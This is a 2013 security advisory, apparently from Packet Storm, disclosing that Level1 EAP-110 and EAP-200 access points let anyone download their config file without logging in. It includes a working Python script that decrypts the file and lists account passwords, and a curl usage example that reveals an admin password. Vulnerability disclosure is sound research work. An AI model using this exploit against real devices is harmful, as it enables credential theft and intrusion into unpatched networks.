seeing is believing

Level One Enterprise Access Points Password Disclosure

Level One Enterprise Access Points Password Disclosure
Posted Oct 17, 2013
Authored by Richard Weinberger

Level1 EAP Devices offer a function do download the device config file. This download mechanism is not properly protected such that an attacker can download the config file without authentication. Passwords can be retrieved at this point.

tags | exploit
MD5 | 404de105dc5321053945e97dcecbf6e4

Level One Enterprise Access Points Password Disclosure

Change Mirror Download
Level One Enterprise Access Points Password Disclosure
======================================================

Summary:
--------

Level1 EAP Devices offer a function do download the device
config file.
This download mechanism is not properly protected such that
an attach can download the config file without authentication.
Further is the config file only protected by pseudo crypto
and contains all passwords in plain text.

Known vulnerable:
-----------------

EAP-110
EAP-200

Firmware version: 2.00.03
Build number: 1.50-1.5045

Others may also vulnerable, the firmware image looks very generic.
So far we had only access to EAP-110 and 200 devices.

For both devices no firmware update is available.
Side note: Level1 has never released a firmware update
for the said devices.

Details:
--------

http://<device-ip>/backupCfg.egi is used to download the device
configuation.
If the user is not authenticated it will redirect to
http://<device-ip>/utilities/backup.asp which will query for
username and password.
But the backupCfg.egi CGI does not terminate after sending the
HTTP 302 redirect.
Any HTTP client which does not follow redirects is therefore able
to download the config file.

The encrypted config file can easily decrypted with our
tellpassword.pl script.

Credits:
--------

David Gstir <david@sigma-star.at>
Richard Weinberger <richard@sigma-star.at>

Exploit:
--------

---cut---
# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
print "USAGE: %s config-backup.conf" % sys.argv[0]
exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
plain.write(chr(plainOrd))
cntr = (cntr + 1) % 0x40
byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
if "<user" in line:
user = None
password = None
for match in attribRegex.finditer(line):
attrib = match.group(1)
if attrib == "name":
user = match.group(2)
elif attrib == "password":
password = match.group(2)
if len(password) > 0:
print " - %s: %s" % (user, password)
plain.close()
---cut---

Usage:
------

$ curl http://10.59.5.15/backupCfg.egi > config-backup.conf
$ python tellpassword.py config-backup.conf
Decrypting config file into plain.xml
Parsing accounts...
- admin: #gs#1


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close